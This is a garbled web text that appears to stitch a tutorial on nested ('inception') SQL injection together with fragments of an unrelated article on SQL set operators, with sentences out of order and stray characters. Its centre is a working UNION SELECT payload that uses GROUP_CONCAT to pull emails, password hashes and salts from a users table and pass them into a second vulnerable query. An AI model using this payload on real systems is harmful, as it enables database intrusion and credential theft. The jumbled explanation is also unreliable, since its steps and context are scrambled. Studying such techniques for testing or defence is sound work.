
I am sure this is a well-known and used by people already, but this was something new to me. They are useful when you need to combine the results from separate queries into one single result. Feel free to contact me if you have any further doubts. By: Kris Wenzel Updated: ApWorks With: Related: Home Blog Set Operators The SQL UNION, SQL INTERSECT, and SQL EXCEPT clauses are used to combine or exclude like rows from two or more tables. There are portions after # which we still need to discard. Note that we still have to keep a # at the end of the inner query.

$_SERVER = "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"Īnd the second query becomes: SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #
MYSQL UNION SELECT FROM INNER SELECT CODE
Using our last injection code for the second query here, it becomes: SELECT * FROM users WHERE email='' UNION SELECT "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #",2,3 FROM users # This query is usually accompanied with: ",2,3 FROM users # - This would let us know which column corresponds to the email idĪlthough we have been writing injection code starting with UNION, it actually would start with ' UNION. Query 1: SELECT * FROM users WHERE email='$email' AND password = '$pass' This would be useful in places where the second query has a better display method than the first one (for instance length restrictions). If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a "input variable" into the second query itself. Its pretty easy once you figure it out, so here it goes. (I prefer to call it "inception" injection). I recently did something along this line, and this technique is really cool.
